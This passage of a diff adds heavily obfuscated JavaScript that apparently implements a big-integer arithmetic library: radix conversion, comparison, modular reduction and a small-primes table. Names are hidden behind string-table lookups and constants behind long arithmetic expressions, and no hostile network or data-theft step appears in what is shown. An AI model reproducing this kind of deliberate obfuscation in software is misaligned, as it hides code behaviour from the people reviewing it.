, + B[A("0x1b8")] = function(r, e) { + return r & e + } + ; + var w = B; + return -(b - t - u * s - t - i) * -(f - a - n - c - n) - (S - s * u * c - n - u) + (h - i * n * s - c - s - s) == (w[A("0x227")](this.t, (p - n - s * a - c * c * n - s * t * u) * (h - i - s - a * s * i - i * a) + (I - i * n - n * n - u * i * a - i * s) - (T - n - c * n - t * t * a)) ? w[A("0x1b8")](-(m - n * a - a * a * i - t * n * c - n) - (g - a - c * s * n - t * n * t - c * n) + -(y - t * n - a - i * a - u) * -(v - i * i - i * n - c - n * t), this[A("0x19")][-(C - s - t * i - u - u * n * n) * (d - t - n - n * i * t - n * u * i) + (x - t - n * n - u * a - t * u) * (l - a * i - n * u - u) + (E - c * a - u * u - c * n)]) : this.s) + } + , + s[o("0x99")].exp = function(r, e) {} + , + s[o("0x99")][o("0x129")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(1); + var a = t + 2; + e(2); + var i = t + 1; + e(1); + var u = t + 1; + e(1); + var s = t + 1; + e(1); + var c = t + 1; + e(1); + var f = t + 1; + e(33); + var v = t + 8; + e(44); + var x = t + 9; + e(8); + var l = t + 3; + e(35); + var d = t + 10; + e(15); + var p = t + 5; + e(10); + var y = t + 3 + , g = e(24) + 13; + e(16); + var m = t + 5; + e(23); + var C = t + 7; + e(7); + var b = t + 3 + , E = e(12) + 5; + e(94); + var S = t + 23 + , I = e(82) + 20; + e(70); + var T = t + 12; + e(40); + var A = t + 23 + , B = e(33) + 5; + e(19); + var w = t + 6; + e(15); + var N = t + 9; + e(33); + var R = t + 11; + e(60); + var U = t + 18; + e(23); + var D = t + 6; + e(56); + var L = t + 27; + e(37); + var P = t + 8; + e(19); + var k = t + 5; + e(20); + var K = t + 4; + e(8); + var V = t + 3 + , O = e(13) + 5 + , M = e(4) + 2; + e(21); + var j = t + 5 + , F = e(10) + 2; + e(7); + var G = t + 2; + e(16); + var q = t + 4; + e(7); + var Q = t + 4; + e(21); + var W = t + 6; + e(71); + var z = t + 14 + , H = e(25) + 12 + , Y = e(11) + 4 + , Z = e(24) + 8; + e(37); + var X = t + 11 + , J = e(16) + 4; + e(48); + var _ = t + 12 + , $ = e(47) + 15; + e(35); + var rr = t + 10; + e(70); + var er = t + 28; + e(40); + var tr = t + 20; + e(142); + var nr = t + 32; + e(41); + var ar = t + 15 + , ir = e(45) + 12 + , or = e(14) + 5; + e(45); + var ur = t + 11 + , sr = e(57) + 11; + e(44); + var cr = t + 13; + e(24); + var fr = t + 14; + e(53); + var vr = t + 14; + e(19); + var xr = t + 8; + e(35); + var lr = t + 16 + , dr = e(114) + 22; + e(80); + var hr = t + 33 + , pr = e(114) + 23; + e(94); + var yr = t + 25; + e(73); + var gr = t + 17 + , mr = e(192) + 70 + , Cr = e(167) + 34; + e(73); + var br = t + 19; + e(65); + var Er = t + 27; + e(103); + var Sr = t + 34 + , Ir = e(32) + 14; + e(203); + var Tr = t + 33; + e(152); + var Ar = t + 42; + e(67); + var Br = t + 16 + , wr = e(29) + 6; + e(6); + var Nr = t + 2; + e(115); + var Rr = t + 18; + e(137); + var Ur = t + 26; + e(58); + var Dr = t + 26; + e(82); + var Lr = t + 16; + e(75); + var Pr = t + 18; + e(34); + var kr = t + 13; + e(37); + var Kr = t + 13; + e(373); + var Vr = t + 85; + e(279); + var Or = t + 93; + e(199); + var Mr = t + 40 + , jr = e(166) + 54; + e(212); + var Fr = t + 26; + e(84); + var Gr = t + 14 + , qr = e(444) + 70 + , Qr = e(122) + 16 + , Wr = e(253) + 64; + e(188); + var zr = t + 43 + , Hr = e(197) + 55; + e(63); + var Yr = t + 14 + , Zr = e(351) + 94; + e(570); + var Xr = t + 169; + e(903); + var Jr = t + 131; + e(172); + var _r = t + 30; + e(37); + var $r = t + 5 + , re = e(9) + 2; + e(449); + var ee = t + 109 + , te = e(317) + 116 + , ne = e(336) + 75; + e(510); + var ae = t + 199; + e(272); + var ie = t + 101; + e(140); + var oe = t + 30; + e(1155); + var ue = t + 264; + e(288); + var se = t + 139; + e(2940); + var ce = t + 526; + e(806); + var fe = t + 335; + e(590); + var ve = t + 138 + , xe = o + , le = {}; + le[xe("0x211")] = xe("0xe9"), + le.lSmNz = function(r, e) { + return r == e + } + , + le[xe("0x1c1")] = function(r, e) { + return r == e + } + , + le[xe("0x191")] = function(r, e) { + return r != e + } + , + le[xe("0x10c")] = function(r, e) { + return r < e + } + , + le[xe("0x94")] = function(r, e) { + return r > e + } + , + le.cZSvx = function(r, e) { + return r < e + } + , + le[xe("0xce")] = function(r, e) { + return r > e + } + , + le[xe("0x123")] = function(r, e) { + return r >> e + } + , + le.cGttX = function(r, e) { + return r(e) + } + , + le[xe("0x229")] = function(r, e) { + return r >= e + } + , + le[xe("0x2c")] = function(r, e) { + return r & e + } + , + le[xe("0x1d8")] = function(r, e) { + return r - e + } + , + le[xe("0x1cb")] = function(r, e) { + return r << e + } + , + le[xe("0x20c")] = function(r, e) { + return r - e + } + , + le[xe("0x1e7")] = function(r, e) { + return r - e + } + , + le[xe("0x102")] = function(r, e) { + return r >> e + } + , + le[xe("0x173")] = function(r, e) { + return r <= e + } + , + le[xe("0x18a")] = function(r, e) { + return r > e + } + , + le[xe("0x200")] = function(r, e) { + return r(e) + } + , + le[xe("0x1e5")] = function(r, e) { + return r << e + } + , + le[xe("0x1e6")] = function(r, e) { + return r % e + } + , + le.QWZZM = function(r, e) { + return r * e + } + ; + for (var de = le, he = de[xe("0x211")][xe("0x1b6")]("|"), pe = (K - i * a - u * u - a - c * u * s) * (xr - i - a * s * n - f - c * s * u) + -(wr - u * s * c - u * i * u - c * u - s * c * f) * (U - s - s * s * u - u - i * n) + (Dr - n - a * i - f - u * s) * -(Y - c * a - u - i * u * i - f * a * s); ; ) { + switch (he[pe++]) { + case "0": + return Ce ? be : "0"; + case "1": + if (de.lSmNz(re - c * c * a - f - f * a * c + (lr - i * c * c - i * f * n - s) * -(A - s * u - a * a * f - i - i * c) + (d - s * u - i * a - i) * -(cr - n * a - f * i * a - f * n * u - n * s * f), r)) + ye = Qr - c * n - f - n * n * u - a * f + (pr - n - s * i * f - n * c * s - c) + -(x - f - a * i - n * u) * (Er - f - i * f * a - f * f - f * u); + else if (de[xe("0x10")]($ - f * i - f * c * u - n - n * n * i + (Br - c * a * s - a - c * i - a * f) + (I - a * u * i - f * u - u) * -(Rr - s - s * c * a - a * n * a - f), r)) + ye = br - c - u * a * i - s * n - s * c + -(ur - f * n - f * s * c - i * n * n - n * u * f) * -(J - i - n * f * f - a * u - i * a) - (Wr - u - a * s * n - n * c * f - f); + else if (de.EmuBX((V - s * f * u - u * a - i) * (Mr - f * s * c - n - a * u * f - n * i) - (Nr - f * i - c * a * s - a * u) - (jr - f - i * s * n - c * u * f), r)) + ye = -(p - c * i - i - s * n - n * n) * -(sr - n * f * i - a * i - a - i * a) + -(y - c - i * f - a * c - c) * (_r - u * s - a - a - f) + (k - u * f - a - n * c * i - a * s * i) * (Gr - i - s * s * a - s * i - a); + else if (de.EmuBX(-(Jr - n - u * u * f - c * s) * -(G - c * f * u - f - f) + (m - f - f * f - a - i) * (ir - s * f * f - s * a - u - f * n * u) + -(R - a * i - s * n - a - i * f * i) * (Vr - a - a - n * u - a * s), r)) + ye = -(yr - i * f - n * u * u - n * c * a) * -(H - u * u - i * n * n - i * u * c - a * a * i) + -(or - u * i - n * f * u - a * c * c - c * n) * -(B - u - u * a * f - u) + -(E - f * n - f - i * c - f * s) * (fr - u - f * f - s * i); + else { + if (de[xe("0x191")](kr - a * c - n * s - a * n - a - (Ir - s - u * f * c - n - f) - (xr - s * n - c * s - s), r)) + return this[xe("0x15b")](r); + ye = (C - c * f - i * u - n * f) * -(Sr - s * c * a - c - i * u - n * s * f) - (ee - n * f * c - n * s * n - i - a * i) + (fe - i - a - n * a * i - n) + } + continue; + case "2": + if (de[xe("0x10c")](this.s, -(vr - f * a * c - f * c * s - n * a * n - a * a) * (rr - s * a * f - a * i - c * u) - (Or - n * c * c - i * f * s - i * s * c - u * f) + (te - f - f - a - a))) + return "-" + this[xe("0x1c3")]()[xe("0x129")](r); + continue; + case "3": + if (de[xe("0x94")](Ee--, -(T - a * a - s - f * n * i) * (L - f - n - u * s - s * u * s) - (Yr - c - f * i * i - s) + -(j - n * f * i - n * s * a - u * s - f * f) * -(S - u * n - a - f * i))) + for (de.cZSvx(Se, this.DB) && de[xe("0xce")](ge = de.Nmvwj(this[xe("0x19")][Ee], Se), (W - u - u * n * f - u * s - c * a * i) * -(F - s - a - u * n) + -(Q - f * f * i - s - u * i) * (gr - c * c * u - f * c * c - a * i - n * n) + (ve - c * c - s - s - u * s * u)) && (Ce = !(-(Zr - f * i - n * i - i * c - a * i * s) - (qr - s - a - s * f - i * s * s) + (ue - c * i * n - c * c - u - a)), + be = de[xe("0x172")](h, ge)); de[xe("0x229")](Ee, -(v - n - u - a - a * n) * -(q - f - f - i - c * a) + -(dr - n * i * i - u * u - c * n - u) * -(N - i * i * f - f - a * u) + (hr - u * s * a - c * s * f - c * i - c * c * n) * -(D - f - u * i * n - s - n * i * f)); ) + Se < ye ? (ge = de[xe("0x2c")](this.data[Ee], de[xe("0x1d8")](de[xe("0x1cb")]((Z - a * i - n * c - i * n * n - a) * -(P - i * f * s - f * s - s - n) - (ne - c * s - n * u - a - u * u * i) + (ie - f * a - s * s * n - c * c - s), Se), $r - a * c - c - c * c - s * c * c + (er - n * s * i - s * i * c - c * n * u) * (b - a * n - c - n - c) + (oe - u - f * i * n - f * c * a) * -(O - i - i * f * i - i * n * i - u * s))) << de[xe("0x20c")](ye, Se), + ge |= this[xe("0x19")][--Ee] >> (Se += de[xe("0x1e7")](this.DB, ye))) : (ge = de[xe("0x2c")](de[xe("0x102")](this[xe("0x19")][Ee], Se -= ye), me), + de[xe("0x173")](Se, -(tr - i * s * u - f - f * c * a - i * a) * -(X - n - i * u - a * f * c - a * a * f) - (Hr - a * s * a - u * s * i - c - a * f) + (Fr - n * i * n - s * u * i - c * i - i * a)) && (Se += this.DB, + --Ee)), + de[xe("0x18a")](ge, Pr - s * u - f * n - c * i * c - (Kr - c - a - c) + (ar - f * c - f * u * c - c * u * i) * (nr - u - i * a * a - f * i * a - i * f * c)) && (Ce = !(-(Ur - c * u * c - a * s - f * f - n * s * f) * (l - a * c - n * n - f) - (mr - u * c - c * n - u * n * u) + -(_ - a * u * a - s - s * f * s) * -(Xr - f * i - u - u * c * f))), + Ce && (be += de.iozOq(h, ge)); + continue; + case "4": + var ye; + continue; + case "5": + var ge, me = de[xe("0x1e5")](-(z - f * i * i - a * i - n * s * s - f) * (w - u * a * i - f - i * u) + (Tr - s * i - u - u * s * s) + (Lr - a * c - i * a * s - c * n - s), ye) - (-(Cr - n - i - n * u - f * c * f) * (g - u * f - u - i * n - c * a) - (ae - u * c * i - s - c) + (se - s * s - f * s * u - a)), Ce = !(zr - c * s * c - i - s * i + -(M - n - u * n * i - u * u * s) * -(Ar - f - i * u - n * c * n - u * f * i) - (ce - u - u - f - n * a * c)), be = "", Ee = this.t, Se = this.DB - de[xe("0x1e6")](de.QWZZM(Ee, this.DB), ye); + continue + } + break + } + } + , + s[o("0x99")][o("0x1c3")] = function() { + var r = o + , e = {}; + e[r("0x1e3")] = function(r) { + return r() + } + ; + var t = e[r("0x1e3")](c); + return s[r("0x1a4")][r("0x116")](this, t), + t + } + , + s.prototype[o("0x1b2")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(4); + var t = e + 1; + r(1); + var n = e + 1; + r(1); + var a = e + 1 + , i = r(1) + 1; + r(1); + var u = e + 1; + r(1); + var s = e + 1 + , c = r(1) + 1 + , f = r(336) + 120 + , v = r(868) + 193; + r(1624); + var x = e + 283; + r(381); + var l = e + 51 + , d = o + , h = {}; + return h[d("0x13e")] = function(r, e) { + return r < e + } + , + h[d("0x13e")](this.s, l - t * c * n - i * n * t - n * s * c - u - (x - u - u - i * n * c - t) + (f - t - i * a * t - a * s - s * c) * (v - n * c - i * c * u - s)) ? this[d("0x1c3")]() : this + } + , + s[o("0x99")][o("0x1ea")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1 + , u = e(1) + 1; + e(1); + var s = t + 1 + , c = e(1) + 1; + e(1); + var f = t + 1 + , v = e(8) + 3 + , x = e(43) + 18 + , l = e(28) + 7; + e(231); + var d = t + 66; + e(95); + var h = t + 40; + e(43); + var p = t + 15; + e(131); + var y = t + 22; + e(43); + var g = t + 16 + , m = e(55) + 15; + e(64); + var C = t + 14; + e(42); + var b = t + 8 + , E = e(21) + 10; + e(193); + var S = t + 58; + e(404); + var I = t + 61 + , T = e(299) + 45; + e(104); + var A = t + 38 + , B = e(112) + 46; + e(68); + var w = t + 17; + e(140); + var N = t + 31 + , R = e(135) + 23; + e(219); + var U = t + 120; + e(698); + var D = t + 95; + e(112); + var L = t + 25 + , P = e(162) + 31; + e(375); + var k = t + 92 + , K = e(86) + 19; + e(2269); + var V = t + 401 + , O = e(391) + 130; + e(819); + var M = t + 242; + e(436); + var j = t + 157; + e(797); + var F = t + 209; + e(844); + var G = t + 123 + , q = e(483) + 79 + , Q = o + , W = {}; + W[Q("0x17b")] = "3|4|1|0|2|5", + W[Q("0x4c")] = function(r, e) { + return r - e + } + , + W.gfYmh = function(r, e) { + return r >= e + } + , + W[Q("0xcb")] = function(r, e) { + return r - e + } + , + W[Q("0x62")] = function(r, e) { + return r != e + } + ; + for (var z = W, H = z[Q("0x17b")][Q("0x1b6")]("|"), Y = (E - f * u * s - f - u - s) * -(P - c * f * i - s * f * u - n * c * f - u * n) - (j - c * s * a - s - u * f * s - f) + -(p - i * i - i * a * i - f * f) * -(U - a - s * s * c - s * n * u - s * f); ; ) { + switch (H[Y++]) { + case "0": + if (-(l - n * u - a * a - s - c) * (B - f * i * i - u - i * f - a * n * f) - (b - n * i * i - s * c - s * s - s) + (L - c * f * f - n * f * s - u - a * a * a) * (y - c * a * s - u * i - i - i) != (X = z[Q("0x4c")](Z, r.t))) + return this.s < (A - f * f - u * a * s - u * f * f - c * a * n) * (g - c * s - c - n * u - i * i * i) + (R - f * a * f - f * a - u * u - a * c * s) * (S - a * a * s - u * i * f - f - c * f) + -(F - f * c - u - n * n) * (m - f * a * u - a * s - c * f - s) ? -X : X; + continue; + case "1": + var Z = this.t; + continue; + case "2": + for (; z[Q("0x193")](--Z, D - u * c - c * c - f * n - n * i * a + (w - i * f * i - u - i - a) * -(T - c * u - u - f * f * f - a * n * f) + (V - u - a - c * i * c - i)); ) + if ((x - i - a - f * n - c) * (q - c * f * f - s * c - u - s * u) - (N - f - n * a * n - s - s * i * u) - (M - f * f - c - u * a * i - i) != (X = z.oKpvw(this.data[Z], r[Q("0x19")][Z]))) + return X; + continue; + case "3": + var X = z[Q("0xcb")](this.s, r.s); + continue; + case "4": + if (z.ISujB(I - i * c * u - i - a * c * s + (d - i - u * c - u - i * i * n) * -(C - u * u * u - f - i * u - n * i) + (O - n * a - a - a - f * u), X)) + return X; + continue; + case "5": + return G - i * c - i * n - c - a * f + (h - a - i - i - s * a * u) * (k - a * a - f * i * u - c - a * u) + -(v - n - a - n) * (K - f - f - s * f - n) + } + break + } + } + , + s[o("0x99")][o("0x203")] = function() { + function r(r) { + return e += r + } + var e = 0 + , t = r(3) + 2 + , n = r(1) + 2; + r(2); + var a = e + 1; + r(1); + var i = e + 1; + r(1); + var u = e + 1; + r(1); + var s = e + 1; + r(1); + var c = e + 1 + , f = r(281) + 47 + , v = r(148) + 56; + r(65); + var x = e + 34 + , l = r(537) + 123 + , d = r(135) + 25 + , h = r(153) + 26; + r(146); + var p = e + 23; + r(534); + var y = e + 108; + r(1375); + var m = e + 512 + , C = r(1653) + 359; + r(2690); + var b = e + 644; + r(1120); + var E = e + 334; + r(600); + var S = e + 102; + r(429); + var I = e + 119 + , T = r(1976) + 612; + r(5600); + var A = e + 1296 + , B = o + , w = { + LvXmV: function(r, e) { + return r <= e + } + }; + w[B("0x1c5")] = function(r, e) { + return r * e + } + , + w.MZerS = function(r, e) { + return r(e) + } + , + w.GnhuI = function(r, e) { + return r ^ e + } + , + w[B("0x1d1")] = function(r, e) { + return r - e + } + , + w.Axtnt = function(r, e) { + return r & e + } + ; + var N = w; + return N[B("0x1fc")](this.t, C - u - u * t - n * n - (y - u * t * a - c * n - s * t - a) - (m - i * t - a * s - t * n * t - u)) ? I - n - t * a * s - n * i + (E - u * u - u * c - c * a - n) - (A - t - u - u * t * t) : N.foBst(this.DB, this.t - ((v - t * a * u - t - a * a - a * u) * (f - i - c * a - t * a * t) + (b - a * u * t - s * i - s * s * u) + -(d - t * s - n * u * s - c * t * s - n * s) * (T - c - t - u * a - n * n * c))) + N.MZerS(g, N[B("0x0")](this[B("0x19")][N[B("0x1d1")](this.t, S - t * c - n * s - s + -(x - t - c * i - a - u) * (l - a - s * s * s - n * i - s * u) + (h - c * s * a - t * a - i - u * s * n) * -(p - n * a * c - c - t - i * n * i))], N[B("0xbd")](this.s, this.DM))) + } + , + s.prototype.mod = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1; + e(1); + var a = t + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1; + e(1); + var f = t + 1; + e(1); + var v = t + 1 + , x = e(1) + 1 + , l = e(94) + 28 + , d = e(415) + 125; + e(187); + var h = t + 31 + , p = e(240) + 36; + e(453); + var y = t + 94 + , g = e(87) + 25; + e(2615); + var m = t + 901; + e(1725); + var C = t + 819 + , b = e(3062) + 481; + e(709); + var E = t + 135 + , S = o + , I = {}; + I[S("0x192")] = function(r) { + return r() + } + , + I[S("0x97")] = function(r, e) { + return r < e + } + , + I.AZdGZ = function(r, e) { + return r > e + } + ; + var T = I + , A = T[S("0x192")](c); + return this[S("0x1b2")]()[S("0x136")](r, null, A), + T[S("0x97")](this.s, (p - x - n * a * v - u * u * v - a * n) * (b - a - n * n * v - a * a * n) + -(y - f * f * x - v * x - v * f * n - u * n) * -(l - a - u - a) - (E - u * v - x * n - x * u * n)) && T[S("0x170")](A.compareTo(s[S("0x1a4")]), (g - u * a - n * u * a - x * n * x - x * i * u) * -(m - x * f * f - n - u - i * a) + (C - v - i - a * i) + -(d - i * n * v - x * f - u * i - n * a) * -(h - v * v * i - n - f - f)) && r[S("0x116")](A, A), + A + } + , + s[o("0x99")].modPowInt = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(3); + var a = n + 2; + t(1); + var i = n + 2; + t(2); + var u = n + 1; + t(1); + var s = n + 1; + t(1); + var c = n + 1; + t(1); + var f = n + 1; + t(65); + var v = n + 22; + t(216); + var x = n + 31; + t(173); + var l = n + 57 + , d = t(118) + 44; + t(2202); + var h, p = n + 497, y = o, g = {}; + return g[y("0x19f")] = function(r, e) { + return r < e + } + , + h = g[y("0x19f")](r, (d - i * a * i - c - a * f * s - c) * (v - a * c - i - c - a * a) + -(x - c * s - s * u - i * s - u) * (l - i * s - s - c * c - i * f * i) + (p - c - s - c * f - a * s)) || e[y("0x60")]() ? new b(e) : new I(e), + this[y("0x187")](r, h) + } + , + s[o("0x1a4")] = y(0), + s[o("0x1d4")] = y(1), + A[o("0x99")][o("0xbb")] = B, + A.prototype[o("0x156")] = B, + A.prototype.mulTo = function(r, e, t) { + r[o("0x6")](e, t) + } + , + A[o("0x99")][o("0x9b")] = function(r, e) { + r.squareTo(e) + } + , + w[o("0x99")][o("0xbb")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2 + , a = e(2) + 1 + , i = e(1) + 1; + e(1); + var u = t + 1; + e(1); + var s = t + 1 + , f = e(1) + 1 + , v = e(0) + 2; + e(210); + var x = t + 34; + e(264); + var l = t + 33; + e(173); + var d = t + 41 + , h = e(72) + 35; + e(407); + var p = t + 215; + e(267); + var y = t + 46; + e(66); + var g = t + 33; + e(55); + var m = t + 13 + , C = e(712) + 169; + e(333); + var b = t + 97 + , E = e(3233) + 626; + e(2155); + var S = t + 401; + e(1423); + var I = t + 192; + e(1905); + var T = t + 392 + , A = o + , B = { + VLGgS: function(r, e) { + return r < e + } + }; + B[A("0x126")] = function(r, e) { + return r > e + } + , + B[A("0x1e0")] = function(r, e) { + return r * e + } + ; + var w = B; + if (w[A("0x1ac")](r.s, S - a - i * n - f * u * n - u * v * n + -(x - v * f - a * i - a * a - s * a) * -(h - u * v * a - a * n - a * i) + -(l - a * a - a * f - v * v) * (h - i * a - a * n - n * u * a - f * a * i)) || w[A("0x126")](r.t, w.oNiFW(E - s * s - a * s * v - v - v * a + -(y - u * i * v - i * s - a) * -(g - u * s - i * f * n - u * v - f * v * s) + -(C - f * v * n - n * a * u - n) * (d - n * s * v - u * v - f - f * f), this.m.t))) + return r[A("0x10d")](this.m); + if (w[A("0x1ac")](r[A("0x1ea")](this.m), I - s * u * v - f * v * v - i - s * f + -(p - s * s * u - v * n * a - n * v - s * n * i) * -(b - u * a * a - f - v * a * v - u) + -(T - s - a * u * f - s - u * v * n) * (m - s * f * a - n * s * a - n - u * f * s))) + return r; + var N = c(); + return r[A("0x20a")](N), + this.reduce(N), + N + } + , + w[o("0x99")].revert = function(r) { + return r + } + , + w[o("0x99")][o("0x1a9")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(0); + var i = t + 2 + , u = e(2) + 1; + e(1); + var s = t + 1; + e(1); + var c = t + 1; + e(0); + var f = t + 2 + , v = e(45) + 8; + e(85); + var x = t + 18 + , l = e(225) + 83; + e(217); + var d = t + 47; + e(142); + var h = t + 34 + , p = e(151) + 43 + , y = e(79) + 28; + e(41); + var g = t + 11; + e(171); + var m = t + 47; + e(48); + var C = t + 11; + e(60); + var b = t + 9; + e(122); + var E = t + 27 + , S = e(518) + 192 + , I = e(303) + 109; + e(193); + var T = t + 43 + , A = e(63) + 15 + , B = e(100) + 22; + e(231); + var w = t + 43 + , N = e(373) + 69 + , R = e(447) + 115 + , U = e(319) + 65; + e(90); + var D = t + 29 + , L = e(983) + 167 + , P = e(241) + 114; + e(317); + var k = t + 84; + e(455); + var K = t + 96; + e(866); + var V = t + 190 + , O = e(230) + 109; + e(1010); + var M = t + 350; + e(325); + var j = t + 75; + e(180); + var F = t + 36; + e(88); + var G = t + 18 + , q = e(349) + 106; + e(602); + var Q = t + 219; + e(1435); + var W = t + 505; + e(433); + var z = t + 144 + , H = o + , Y = {}; + Y[H("0x1ec")] = function(r, e) { + return r + e + } + , + Y[H("0x104")] = function(r, e) { + return r + e + } + , + Y[H("0xfa")] = function(r, e) { + return r + e + } + , + Y.ADWrY = function(r, e) { + return r < e + } + ; + var Z = Y; + for (r.drShiftTo(this.m.t - ((v - c - a - s - a * a) * (G - c * i * c - s * u * s - c * f * f - s * s * a) - (q - n * s * c - s * a * a - u * i * c - c * n * n) + (B - a * c * c - u * c - i - s)), this.r2), + r.t > Z.HWYWG(this.m.t, -(y - f * i * c - f * u - c - a * a) * -(p - a - s * c - u - c * u * c) + -(x - n * s - i * a - a * c - s) * (V - i - c * i - s * f * f - c * c) + -(m - c * c * u - n * i - n * n - a * n * f) * -(C - s * s * u - f - u * a * i - c)) && (r.t = this.m.t + ((w - c * a * f - i - a * u * i - f) * (b - u * n * u - i * i * c - n * u * c - c * i) - (M - s * n - u * a - i - c * s) + (g - c * n * s - n * f * u - i * a - u * s) * (P - c - c * a - s - f * c * a)), + r[H("0x7a")]()), + this.mu[H("0xa0")](this.r2, Z.rjSlS(this.m.t, k - a - s * c * f - a * c * a + -(l - c * i * a - f - n - c) * -(F - i * s * c - f * u * f - u * c - a * c * i) - (W - f * u - s * a * f - n - s * a)), this.q3), + this.m[H("0x5a")](this.q3, Z[H("0xfa")](this.m.t, j - u * c - s * c - i * i - c + -(h - s * u - i - n * n - u) * -(l - n * c - f * a - s * a * n - u * i) - (z - a - s * s - a * f - u)), this.r2); Z.ADWrY(r[H("0x1ea")](this.r2), L - c - s - i * s - a * c * a - (O - f * a - s - c * c - n) + (A - a * s - u * i - s * a - c)); ) + r[H("0x9e")](N - a * c - i - i - c * f - (D - u - s - c * c - f) + (S - u * i * n - n * n * c - i * s * f - s), this.m.t + (-(R - f * i * f - i - i * s - c * c) * (d - i * s * i - u * s - s * i - n * c) + (E - f * s * n - u - u * f * c) + (K - i * c * s - n * f - n * i))); + for (r[H("0x116")](this.r2, r); r.compareTo(this.m) >= -(T - i * s * u - c * n * s - c * c * c - s * f * n) * (I - n * a * u - s * a - a - n) + (Q - c * f * s - i - s - u) - (U - f * u * u - u * n * f - n - i * n); ) + r[H("0x116")](this.m, r) + } + , + w[o("0x99")][o("0x1b4")] = function(r, e, t) { + var n = o; + r[n("0x6")](e, t), + this[n("0x1a9")](t) + } + , + w[o("0x99")].sqrTo = function(r, e) { + r[o("0x93")](e), + this.reduce(e) + } + ; + var N = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509] + , R = (1 << 26) / N[N[o("0x226")] - 1]; + s[o("0x99")].chunkSize = function(r) { + var e = o + , t = {}; + t[e("0x28")] = function(r, e) { + return r / e + } + ; + var n = t; + return Math[e("0x10f")](n[e("0x28")](Math[e("0xc9")] * this.DB, Math[e("0x6d")](r))) + } + , + s.prototype[o("0x15b")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1 + , u = e(1) + 1; + e(1); + var s = t + 1; + e(1); + var f = t + 1 + , v = e(1) + 1 + , x = e(67) + 18; + e(113); + var l = t + 17; + e(30); + var d = t + 5; + e(27); + var h = t + 7; + e(74); + var p = t + 14; + e(322); + var g = t + 118; + e(135); + var m = t + 24; + e(74); + var C = t + 23; + e(32); + var b = t + 12 + , E = e(138) + 23; + e(47); + var S = t + 19 + , I = e(244) + 48; + e(64); + var T = t + 20; + e(443); + var A = t + 120; + e(285); + var B = t + 132; + e(174); + var w = t + 49 + , N = e(671) + 114; + e(185); + var R = t + 48; + e(219); + var U = t + 47; + e(743); + var D = t + 227; + e(1246); + var L = t + 365; + e(805); + var P = t + 208; + e(1107); + var k = t + 229; + e(1253); + var K = t + 225 + , V = e(351) + 82; + e(131); + var O = t + 53; + e(6027); + var M = t + 1301 + , j = o + , F = {}; + F[j("0x8")] = function(r, e) { + return r == e + } + , + F[j("0x7d")] = function(r, e) { + return r < e + } + , + F.HANKS = function(r, e) { + return r > e + } + , + F.ayLZe = function(r, e) { + return r(e) + } + , + F.WICIy = function(r) { + return r() + } + , + F[j("0x216")] = function(r, e) { + return r > e + } + , + F[j("0x171")] = function(r, e) { + return r + e + } + ; + var G = F; + if (G[j("0x8")](null, r) && (r = -(N - u * n * s - u * i * u - f * f) - (P - i * s - s - a - n * i * v) + (V - u * v - a * s * s - u - n * f * a)), + G[j("0x8")]((l - a * a - u * v - u * f) * (B - a * n - f * i - f * i * i - i * f * f) + (g - n - f * s - i * f - a) + (T - n - s * v * s - n - n * s * v) * -(D - n - u - f * v * u), this.signum()) || G.zYxgh(r, (h - a * v - a * v - n) * -(b - f * s - n * a * a - f * a * f) - (U - u - n * s * u - u * u - s * i * a) + (E - v * f - i * v * a - f * s * n) * (S - a * a * s - s * a * u - f * u - i)) || G[j("0x185")](r, -(I - f * a * s - s * n * f - f * n - u * n * u) * (w - u - u * i - v - n * i * u) + (O - u * n - s * s * f - f * f * s - i) + -(C - f - s * u * v - s * u) * (L - n - a * n * v - a * a - f * a))) + return "0"; + var q = this[j("0x6b")](r) + , Q = Math[j("0x20b")](r, q) + , W = G.ayLZe(y, Q) + , z = c() + , H = G[j("0xf7")](c) + , Y = ""; + for (this.divRemTo(W, z, H); G[j("0x216")](z[j("0x21f")](), -(p - u - n * a * n - f * n) * (m - s * s - v * v * n - a * i) - (k - s * n * f - n * v * s - f - f * s * n) + (M - a * n * v - n * s * v - s - i)); ) + Y = G.BFKmL(G[j("0x171")](Q, H.intValue())[j("0x129")](r)[j("0x98")](-(x - a - u * s - v - n) * -(A - s * u - n * i * i - f * n - n * s * a) + (K - n * i * u - i * n * n - a * a * u - i) + (d - i * n * a - n - i) * -(R - a - u - u - v * a)), Y), + z.divRemTo(W, z, H); + return G[j("0x171")](H[j("0x14f")]().toString(r), Y) + } + , + s[o("0x99")][o("0xab")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0 + , a = t(3) + 2; + t(2); + var i = n + 1; + t(1); + var u = n + 1; + t(1); + var c = n + 1; + t(1); + var f = n + 1; + t(1); + var v = n + 1; + t(1); + var x = n + 1 + , l = t(10) + 6; + t(23); + var d = n + 8; + t(20); + var h = n + 8; + t(28); + var y = n + 6; + t(9); + var g = n + 3; + t(37); + var m = n + 7; + t(30); + var C = n + 11; + t(30); + var b = n + 12; + t(11); + var E = n + 3; + t(4); + var S = n + 3; + t(19); + var I = n + 11 + , T = t(123) + 34; + t(58); + var A = n + 19; + t(50); + var B = n + 10; + t(42); + var w = n + 14; + t(13); + var N = n + 5; + t(5); + var R = n + 2; + t(26); + var U = n + 6 + , D = t(25) + 5; + t(55); + var L = n + 15; + t(29); + var P = n + 9 + , k = t(49) + 21; + t(33); + var K = n + 15; + 